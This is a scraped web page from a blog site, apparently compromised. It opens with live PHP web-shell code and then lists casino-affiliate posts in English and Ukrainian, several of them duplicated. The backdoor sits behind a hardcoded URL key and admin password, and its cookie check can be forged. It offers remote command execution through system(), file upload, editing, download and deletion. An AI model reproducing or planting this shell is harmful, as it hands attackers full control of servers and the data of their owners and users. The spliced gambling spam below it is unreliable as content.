if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Блог – Page 5 – collectives.berlin

Your digital paradise.

Category: Блог

  • Account Security Checks for Canadian Online Casino Users

    Account security is more than creating a password and hoping everything works smoothly. Before using lucky hills casino canada, Canadian players should understand activation, identity checks, payment ownership and recovery procedures. These controls can affect access to an account, the ability to request a withdrawal and the time needed for support to resolve a problem.…

    Click or not…

  • How to Check Online Casino Account Security Before Playing

    Account security matters before game choice, bonuses or payment speed. For anyone comparing casino lucky hills with other online services, the practical questions are straightforward: can you verify your identity safely, recover access without exposing personal information, and recognize conditions that may restrict an account? The available information supports a careful review of registration, verification,…

    Click or not…

  • Live Dealer Casinos Explained: How to Play & Top Games 2026

    Live dealer developers set up studios with streaming services to provide HD-quality gaming to players via mobile or desktop devices. Once a live dealer game is loaded onto a device, the streaming footage provides continuous viewing of the game. A real dealer handles the physical equipment while you place a bet from your device. Live…

    Click or not…

  • Live Dealer Casinos Explained: How to Play & Top Games 2026

    Live dealer developers set up studios with streaming services to provide HD-quality gaming to players via mobile or desktop devices. Once a live dealer game is loaded onto a device, the streaming footage provides continuous viewing of the game. A real dealer handles the physical equipment while you place a bet from your device. Live…

    Click or not…

  • Live Dealer Casinos Explained: How to Play & Top Games 2026

    Live dealer developers set up studios with streaming services to provide HD-quality gaming to players via mobile or desktop devices. Once a live dealer game is loaded onto a device, the streaming footage provides continuous viewing of the game. A real dealer handles the physical equipment while you place a bet from your device. Live…

    Click or not…

  • Верифікація та захист акаунта після зміни статусу сервісу

    Питання безпеки облікового запису особливо важливе, коли користувач шукає інформацію про промокод в пін ап або намагається зрозуміти, чи доступні старі функції платформи. Pin-Up працював в Україні через локального оператора, однак 3 червня 2025 року його українську ліцензію було анульовано. Станом на 29 вересня 2026 року домен не функціонує як повноцінне онлайн-казино: на ньому розміщено…

    Click or not…

  • Як оцінити бонусні умови перед грою в казино

    Промоакції можуть доповнювати вибір розваг, але їхня цінність залежить не від великої цифри в банері, а від правил використання. На сторінці casino ua казино читачеві варто розглядати пропозиції як окремі умови, які потрібно перевірити до поповнення рахунку. Важливо з’ясувати, що саме нараховується, які ігри беруть участь, скільки часу діє акція та які обмеження встановлено для…

    Click or not…

  • Як оцінювати акції онлайн казино Україна без поспіху

    Рекламні пропозиції в азартних сервісах часто виглядають переконливо через великі суми, безкоштовні обертання або обіцянки повернення частини витрат. Проте практична цінність визначається не заголовком, а правилами: мінімальним депозитом, строком дії, вимогами до відіграшу та обмеженнями на виплату. На прикладі казино ua розглянемо, як читати умови акцій, порівнювати пропозиції та не плутати бонусні кошти з доступними…

    Click or not…

  • Як оцінювати акції онлайн казино Україна без поспіху

    Рекламні пропозиції в азартних сервісах часто виглядають переконливо через великі суми, безкоштовні обертання або обіцянки повернення частини витрат. Проте практична цінність визначається не заголовком, а правилами: мінімальним депозитом, строком дії, вимогами до відіграшу та обмеженнями на виплату. На прикладі казино ua розглянемо, як читати умови акцій, порівнювати пропозиції та не плутати бонусні кошти з доступними…

    Click or not…

  • List of the Best Welcome Casino Bonuses in Australia 2026

    While the bonus is active, gameplay is restricted to pokies (with some excluded) and a maximum bet applies per spin, which must be followed until a withdrawal is requested. At Merlin Casino, the welcome offer is distributed quite evenly across the first four deposits, with each one receiving a 100%, 110%, or 120% match, with…

    Click or not…